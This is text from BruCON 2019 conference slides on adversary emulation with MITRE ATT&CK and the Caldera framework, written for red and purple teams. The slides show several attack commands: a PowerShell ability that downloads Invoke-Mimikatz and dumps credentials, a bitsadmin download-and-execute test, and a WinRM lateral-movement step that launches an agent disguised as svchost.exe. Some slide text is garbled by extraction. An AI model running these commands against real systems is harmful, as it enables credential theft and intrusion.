MITRE Caldera

Automated Adversary Emulation using Caldera

BruCON
10 October 2019
A few words about myself

Why are assembly developers usually wet?
Agenda for today

1. What is adversary emulation?
2. Tools of the trade
3. MITRE Caldera
4. Demo: Caldera plugins
Agenda for today:

1. What is adversary emulation?
2. Tools of the trade
3. MITRE Caldera
4. Demo: Caldera plugins
This is not adversary emulation

Adversary emulation using Nessus?
Defining adversary emulation

Adversary emulation is an activity where security experts emulate how an adversary operates. The ultimate goal, of course, is to improve how resilient the organization is versus these adversary techniques.

Both red and purple teaming can be considered as adversary emulation.

Adversary activities are described using TTPs (Tactics, Techniques & Procedures). These are not as concrete as, for example, IOCs, but they describe how the adversary operates at a higher level. Adversary emulation should be based on TTPs. As such, a traditional vulnerability scan or internal penetration test that is not based on TTPs should not be considered adversary emulation.

Adversary emulation should be performed using a structured approach, which can be based on a kill chain or attack flow. MITRE ATT&CK is a good example of such a standard approach.
Penetration Test vs Adversary Emulation

Knowing the difference

<table>
<thead>
<tr>
<th>PENETRATION TEST</th>
<th>VS</th>
<th>ADVERSARY EMULATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>Identify and exploit vulnerabilities on a (series of) system(s) to assess security</td>
<td></td>
<td>Assess how resilient an organization is versus a certain adversary / threat actor</td>
</tr>
<tr>
<td>Focused on a specific scope (typically an application or network range)</td>
<td></td>
<td>Focused on the execution of a scenario (typically defined by a number of flags)</td>
</tr>
<tr>
<td>Primarily tests prevention, typically less focus on detection</td>
<td></td>
<td>Typically tests both prevention &amp; detection (so is less valuable if there is no blue team)</td>
</tr>
</tbody>
</table>
# Red Team vs Purple Team

## Knowing the difference

<table>
<thead>
<tr>
<th>Red Team</th>
<th>VS</th>
<th>Purple Team</th>
</tr>
</thead>
<tbody>
<tr>
<td>A red team involves emulation of a <strong>realistic threat actor</strong> (using TTPs)</td>
<td><strong>VS</strong></td>
<td>A purple team involves emulation of a <strong>realistic threat actor</strong> (using TTPs)</td>
</tr>
<tr>
<td>In a typical red team, interaction with the blue team is <strong>limited</strong> (red vs blue)</td>
<td></td>
<td>In a typical purple team, interaction with the blue team is <strong>maximized</strong> (collaboration)</td>
</tr>
<tr>
<td>The goal of the red team is to <strong>assess</strong> how well the blue team prevents &amp; detects</td>
<td></td>
<td>The goal of the purple team is to <strong>improve</strong> how well the blue team prevents &amp; detects</td>
</tr>
</tbody>
</table>
"MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.” – MITRE ATT&CK website

**Tactics** are used to describe high-levels attack steps used by an adversary. These can be compared to the “steps” in the Lockheed Martin Cyber Kill Chain ©

MITRE ATT&CK assumes breach and thus the “first” tactic is initial intrusion. Any activity performed before is covered by the PRE-ATT&CK framework.

How a certain tactic is executed is described by a variety of techniques. For every technique, MITRE ATT&CK includes a description, detection & prevention recommendations and known threat actors who use the technique.
### ATT&CK Matrix for Enterprise

<table>
<thead>
<tr>
<th>TACTICS</th>
<th>TECHNIQUES</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial Access</td>
<td>Execution</td>
</tr>
<tr>
<td>Drive-by Compromise</td>
<td>AppleScript</td>
</tr>
<tr>
<td>Exploit Public-Facing Application</td>
<td>CMSTP</td>
</tr>
<tr>
<td>External Remote Services</td>
<td>Command-Line Interface</td>
</tr>
<tr>
<td>Hardware Additions</td>
<td>Compiled HTML File</td>
</tr>
<tr>
<td>Replication Through Removable Media</td>
<td>Control Panel Items</td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Dynamic Data Exchange</td>
</tr>
<tr>
<td>Spearphishing Link</td>
<td>Execution through API</td>
</tr>
<tr>
<td>Spearphishing via Service</td>
<td>Execution through Module Load</td>
</tr>
<tr>
<td>Supply Chain Compromise</td>
<td>Exploitation for Client Execution</td>
</tr>
<tr>
<td>Trusted Relationship</td>
<td>Graphical User Interface</td>
</tr>
<tr>
<td>Valid Accounts</td>
<td>InstaURL</td>
</tr>
</tbody>
</table>
Zooming in on a specific technique

What level of detail is offered?

Component Object Model Hijacking

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. [1] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. [2] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Examples

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADVSTORESHELL</td>
<td>Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object. [3]</td>
</tr>
<tr>
<td>APT28</td>
<td>APT28 has used COM hijacking for persistence by replacing the legitimate restrain* device enumerator object with a payload. [4]</td>
</tr>
</tbody>
</table>

General Info

ID: T1122
Tactic: Defense Evasion, Persistence
Platform: Windows
Permissions Required: User
Data Sources: Windows Registry, DLL monitoring, Loaded DLLs
Defense Bypassed: Autoruns Analysis
Contributors: ENDFGAME
Version: 1.0

Known adversaries that use the technique
Zooming in on a specific technique

What level of detail is offered?

Mitigation

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate.

Detection

There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing known binary paths with unknown paths. Even though some third-party applications define user COM objects, the presence of objects within `HKEY_CURRENT_USER\Software\Classes\CLSID` may be anomalous and should be investigated since user objects will be loaded prior to machine objects in `HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID`. Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.
ATT&CK is the common language we should all speak

Leveraging MITRE ATT&CK in your organization
Common ATT&CK pitfalls

#1 Consider all ATT&CK techniques equal
Given the size of the ATT&CK matrix, it’s impossible to (a) prevent or (b) detect all techniques. You only have limited resources and should thus prioritize!

#2 Misjudge your coverage
Most ATT&CK techniques are not “Boolean”. It’s possible that you detect or block certain variations of a technique, but others not. Scoring should thus be fine-grained.

#3 Consider ATT&CK as the “holy trinity”
ATT&CK is a valuable tool, but it’s not a silver bullet. Recognize that, for some use cases, ATT&CK is not perfect. Furthermore, not everything is documented!
Common ATT&CK pitfalls

Technique 1003 – Credential Dumping

Plaintext Credentials

After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by an administrative user or SYSTEM.

SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.

The following SSPs can be used to access credentials:

- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.

The following tools can be used to enumerate credentials:

- Windows Credential Editor
- Mimikatz

a domain controller. Any domain controller can be a domain controller. Any domain controller can be a domain controller to create a Golden Logon. [14] DCSync, which performs...
## Technique Prioritization

### How to prioritize?

<table>
<thead>
<tr>
<th>Criteria #1</th>
<th>Overall popularity of the technique</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>The overall popularity of an ATT&amp;CK technique is a good indicator of how important it is to cover it (using either preventive or detective controls). In January 2019, MITRE &amp; Red Canary released a presentation where they highlighted 7 key techniques! Furthermore, many vendors provide “ATT&amp;CK Heat Maps” where they describe what techniques they most frequently observe.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Criteria #2</th>
<th>Relevance of threat actors for your organization</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Next to the overall “popularity” of a technique, there is of course another factor: Is the technique known to be used by an adversary that is interested in your organization? ATT&amp;CK has information on what techniques are used by what actors. In order to figure out what threat actors are relevant for your industry or organization, it helps to follow up on threat intelligence reports.</td>
</tr>
</tbody>
</table>
When developing scenarios for red teaming / adversary emulation, red teams should use ATT&CK tactics and techniques to describe how the engagement will be delivered.

This will tremendously increase the value of the engagement, as it helps defenders map issues on a structured framework afterwards!

https://attack.mitre.org/resources/adversary-emulation-plans/
Building an emulation plan

Let’s start building!

Building a **good adversary emulation** plan is crucial to success. The emulation plan should mimic an actual adversary and can include **distinct phases**. In MITRE’s APT3 emulation plan, the following phases are distinguished:

1. Set up adversary infrastructure (e.g. C2) and obtain initial execution (Initial Access)
2. Internal discovery, privilege escalation and lateral movement (Lateral movement)
3. Collection, staging and exfiltration (Action on Objectives)

So what techniques should you select as part of your plan? There’s a few **criteria** to take into account;

<table>
<thead>
<tr>
<th>How much <strong>time &amp; effort</strong> will be spent during the engagement?</th>
<th>What threat actors (and related adversary techniques) are <strong>relevant</strong> to the organization?</th>
</tr>
</thead>
<tbody>
<tr>
<td>What techniques does the organization believe are <strong>covered by security controls</strong>?</td>
<td>What techniques does the organization believe are <strong>detected</strong> by monitoring use cases?</td>
</tr>
</tbody>
</table>
Example of an emulation plan

Emulating our Russian friends

EMULATION PLAN FOR APT-28

PHASE 1
- Initial Access
  T1192 - Spearphishing Link
- Execution
  T1086 - PowerShell

PHASE 2
- Persistence
  T1122 - COM Hijacking
- Privilege Escalation
  T1078 - Valid Accounts
- Defense Evasion
  T1107 - File Deletion
- Lateral Movement
  T1075 – Pass The Hash

PHASE 3
- Exfiltration
  T1041 - Exfil over C&C

Not every plan needs to cover every single tactic! Improvise!
Agenda for today

1. What is adversary emulation?
2. Tools of the trade
3. MITRE Caldera
4. Demo: Caldera plugins
Adversary Emulation Stack

Tools of the trade

Adversary emulation can typically take two different forms:

- Automated / scripted emulation of a (number of) specific MITRE ATT&CK techniques
- Manual, full-stack emulation according to an adversary emulation plan

Different tools exist that can help emulate the two objectives listed above!

Automated / scripted

- Uber
- Infection Monkey
- METTA
- RTA
- Red Team Automation
- MITRE CALDERA

Manual, full-stack, emulation

- COVENANT
- COBALT STRIKE
Quick and dirty!

T1197 - BITS Jobs

Description from ATT&CK

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)

Atomic Tests

- Atomic Test #1 - Download & Execute
- Atomic Test #2 - Download & Execute via PowerShell BITS
- Atomic Test #3 - Persist, Download, & Execute

Atomic Test #1 - Download & Execute

This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload

Supported Platforms: Windows

Inputs

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Type</th>
<th>Default Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>remote_file</td>
<td>Remote file to download</td>
<td>url</td>
<td><a href="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomicst/atomic-red-team/T1197/T1197.md">https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomicst/atomic-red-team/T1197/T1197.md</a></td>
</tr>
<tr>
<td>local_file</td>
<td>Local file path to save downloaded file</td>
<td>path</td>
<td>C:\Windows\Temp\bitsadmin_flag.ps1</td>
</tr>
</tbody>
</table>

Run it with `command_prompt`!

`bitsadmin.exe /transfer /Download /priority Foreground #(remote_file) #{local_file}`

When trying to “quickly” test detection of specifics techniques, we can use **Atomic Red Team** to emulate certain ATT&CK techniques. All Atomic Red Team tests are portable and lightweight and allow for easy execution!
Uber METTA

Leveraging VirtualBox and Vagrant

$ python run_simulation_yaml.py -f MITRE/Discovery/discovery_win_account.yml
YAML FILE: MITRE/Discovery/discovery_account.yml
OS matched windows... sending to the windows vagrant
Running: cmd.exe /c net group "\Domain Admins\" /domain
Running: cmd.exe /c net user /add
Running: cmd.exe /c net user /domain
Running: cmd.exe /c net localgroup administrators
Running: cmd.exe /c net share
Running: cmd.exe /c net use
Running: cmd.exe /c net accounts
Running: cmd.exe /c net config workstation
Running: cmd.exe /c dsquery server
Running: cmd.exe /c dsquery user -name smith* | dsget user -dn -desc
Running: cmd.exe /c wmic useraccount list /format:list
Running: cmd.exe /c wmic ntdomain
Running: cmd.exe /c wmic group list /format:list
Running: cmd.exe /c wmic sysaccount list /format:list

Uber Metta leverages YML files and Vagrant to spin up virtual machines and execute commands!
Infection Monkey

Time for some Monkey Business!

2. Run the Monkey

Go ahead and run the monkey! (Or configure the monkey to fine tune its behavior)

Run on C&C Server

OR

Run on machine of your choice

Choose the operating system where you want to run the monkey, and the interface to communicate with.

Windows (32 bit)

192.168.80.129

Windows (64 bit)

10.0.75.1

Linux (32 bit)

10.28.0.100

192.168.80.50

Copy the following command to your machine and run it with Administrator or root privileges.


Go ahead and monitor the ongoing infection in the Infection Map view.
Infection Monkey

Time for some Monkey Business!
Each binary is equipped with plaintext canary DNS tokens.

$ nslookup canary.c2.adversary.org

$ strings

Covenant
Leveraging VirtualBox and Vagrant
Covenant Following up on Empire

Dashboard

Grunts

<table>
<thead>
<tr>
<th>Name</th>
<th>CommandType</th>
<th>Hostname</th>
<th>UserName</th>
<th>Status</th>
<th>LastCheckIn</th>
<th>Integrity</th>
<th>OperatingSystem</th>
<th>Process</th>
</tr>
</thead>
<tbody>
<tr>
<td>176a9F1d8</td>
<td>SMB</td>
<td>DESKTOP-F9D2Q7G</td>
<td>cobb</td>
<td>Active</td>
<td>7/16/19 9:24:46 PM</td>
<td>High</td>
<td>Microsoft Windows NT 10.0.17134.0</td>
<td>powershell</td>
</tr>
<tr>
<td>319939fb2</td>
<td>HTTP</td>
<td>DESKTOP-F9D2Q7G</td>
<td>cobb</td>
<td>Active</td>
<td>7/16/19 9:49:34 PM</td>
<td>High</td>
<td>Microsoft Windows NT 10.0.17134.0</td>
<td>powershell</td>
</tr>
<tr>
<td>816d8e9cb7</td>
<td>SMB</td>
<td>DESKTOP-F9D2Q7G</td>
<td>cobb</td>
<td>Active</td>
<td>7/16/19 9:16:21 PM</td>
<td>High</td>
<td>Microsoft Windows NT 10.0.17134.0</td>
<td>powershell</td>
</tr>
<tr>
<td>b964d0aa53</td>
<td>HTTP</td>
<td>DESKTOP-F9D2Q7G</td>
<td>cobb</td>
<td>Active</td>
<td>7/16/19 9:49:15 PM</td>
<td>High</td>
<td>Microsoft Windows NT 10.0.17134.0</td>
<td>powershell</td>
</tr>
</tbody>
</table>

Showing 1 to 4 of 4 entries

Listeners

<table>
<thead>
<tr>
<th>Name</th>
<th>ListenerType</th>
<th>Status</th>
<th>StartTime</th>
<th>BindAddress</th>
<th>BindPort</th>
</tr>
</thead>
<tbody>
<tr>
<td>82605d6d41</td>
<td>HTTP</td>
<td>Active</td>
<td>7/16/19 8:57:58 PM</td>
<td>0.0.0.0</td>
<td>80</td>
</tr>
</tbody>
</table>

Taskings

<table>
<thead>
<tr>
<th>Name</th>
<th>Grunt</th>
<th>Task</th>
<th>Status</th>
<th>UserName</th>
<th>Command</th>
<th>CommandTime</th>
<th>CompleteTime</th>
</tr>
</thead>
<tbody>
<tr>
<td>0f03d70f189b</td>
<td>176a9F1d8</td>
<td>LoginPasswords</td>
<td>Completed</td>
<td>cobb</td>
<td>LoginPasswords</td>
<td>7/16/19 9:21:11 PM</td>
<td>7/16/19 9:21:21 PM</td>
</tr>
<tr>
<td>2e7b2e6e1c8</td>
<td>21159e6f8c</td>
<td>Connect</td>
<td>Completed</td>
<td>cobb</td>
<td>connect localhost grunt:443</td>
<td>7/16/19 9:08:25 PM</td>
<td>7/16/19 9:09:00 AM</td>
</tr>
<tr>
<td>3314e0d78b</td>
<td>176a9F1d8</td>
<td>PowerShell</td>
<td>Completed</td>
<td>cobb</td>
<td>powershell $PSVersionTable</td>
<td>7/16/19 9:21:28 PM</td>
<td>7/16/19 9:21:30 PM</td>
</tr>
<tr>
<td>4f03a9f195</td>
<td>61400c9b97</td>
<td>whoami</td>
<td>Completed</td>
<td>cobb</td>
<td>whoami</td>
<td>7/16/19 9:16:07 PM</td>
<td>7/16/19 9:16:10 PM</td>
</tr>
</tbody>
</table>

Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.

HTTPS://GITHUB.COM/COBBR/COVENANT

www.nviso.eu
Agenda for today

1. What is adversary emulation?
2. Tools of the trade
3. MITRE Caldera
4. Demo: Caldera plugins
**Caldera**

What is Caldera?

Caldera is a tool built by MITRE, with the express purpose of doing adversary emulation. It requires a bit of setup (as a server and clients need to be installed), it will actively "attack" target systems by deploying custom backdoors. Caldera’s attack steps are fully linked to the ATT&CK framework techniques!
A quick Caldera walkthrough

Abilities

ABILITY ID: baac2c6d-4652-4b7a-ab0a-1bf246edd12
ATT&CK TACTIC: credential-access
ATT&CK TECHNIQUE ID: T1003
ATT&CK TECHNIQUE NAME: Credential Dumping
NAME: Run PowerKatz
DESCRIPTION: Use powerkatz to execute mimikatz and attempt to grab plaintext and/or has
PLATFORM: windows

COMMAND:
[System.Net.ServicePointManager]:ServerCertificateValidationCallback = ( $True )
$secure = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2018d7937c0378c65df47b7b6d859e967b72/Exfiltration/Invoke-Mimikatz.ps1")
lst $result, Invoke-Mimikatz -DumpCreds

CLEANUP:
REQUIRES:
UNLOCKS:
A quick Caldera walkthrough

Groups
A quick Caldera walkthrough

Adversaries
A quick Caldera walkthrough

Operations
A newly infected **host**, by the Sandcat plugin, joins a predefined **group**.
But you use PowerShell?

OMFG

Script Block Logging

Constrained Language Mode

AMSI

Microsoft “cleaned shop” and implemented several PowerShell controls (for prevention AND detection) over the past few years!

The point is to detect **ATT&CK techniques**, not the Caldera agent!
Group Structure

How Caldera is organised

Adversary

- P1
  - Ability I
  - Ability II
- P2
  - Ability III
  - Ability IV
- P3
  - Ability V

Ability

- PowerShell
- OS X Shell
- Linux Shell

Operation

Foo

Bar

Groups

Windows

OS X

Linux
Running a quick operation

Praying to the demo gods...

THE DEMO GODS ACCEPT YOUR SACRIFICE

MAY THE DEMOS BE ALWAYS IN YOUR FAVOUR
Agenda for today

1. What is adversary emulation?
2. Tools of the trade
3. MITRE Caldera
4. Developing Caldera Plugins
Caldera development

Abilities & plugins

Using built-in adversaries

Building adversaries with existing abilities

Developing custom abilities

Developing custom plugins
Developing custom abilities

Abilities

- id: 41bb2b7a-75af-49fd-bd15-6c827df25921
  name: Start Agent (WinRM)
  description: Start Agent using WinRM (WinRM)
  tactic: lateral-movement
  technique:
    attack_id: T1021
    name: Remote Services
  platforms:
    windows:
      psh:
        command:
          $username = "#{host.user.name}";
          $password = "#{host.user.password}";
          $secstr = New-Object -TypeName System.Security.SecureString;
          $password.ToCharArray() | ForEach-Object { $secstr.AppendChar($_)};
          $session = New-PSSession -ComputerName '${remote.host.name}' -Credential $cred;
          Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} -executors psh}};
          Start-Sleep -s 5;
          Remove-PSSession -Session $session;
        payload: sendcat.go-windows
        cleanup:
          Remove-Item C:\Users\Public\svchost.exe -Recurse

Abilities are easy to create from examples such as the one here...
Adding a Caldera plugin requires us to interact with the Caldera folder structure. Inside Caldera's root folder we can find two interesting folders: `conf` and `plugins`. While the former will be used at a later stage to enable our plugin, the plugins folder will be our plugin's parent location. Creating the structure on the left is the first step in building our Caldera plugin.
Developing custom Caldera plugins

Step 2 - Enable the plugin in the conf folder

Enabling a plugin requires us to modify the caldera configuration. This YAML file is located under the Caldera conf folder.

```yaml
# [...]
plugins:
  - caltack
  - ssl
  - stockpile
  - sandcat
  - gui
  - chain
  - caldex
  - brucon  # Add our plugin's directory name to the collection
# [...]
```
Demo – Let’s do some of this stuff!

Praying to the demo gods...

THE DEMO GODS ACCEPT YOUR SACRIFICE

MAY THE DEMOS BE ALWAYS IN YOUR FAVOUR
Conclusions
Putting it all together

Caldera is an amazing tool that can be **highly customized** and further extended!

Tools like Caldera **do not replace a proper Red Team**…

Tools like Caldera help the **Blue Team test techniques themselves** and continuously improve.
Coming soon, give us few more days to clean our code 😊

NVISO-BE/caldex

NVISO-BE/caldera-abilities

Want to get hacked?
Reach us during business hours:
+32 (0)2 318 58 31
info@nviso.eu

Already hacked?
Reach us 24/7:
+32 (0)2 588 43 80
csirt@nviso.eu

www.nviso.eu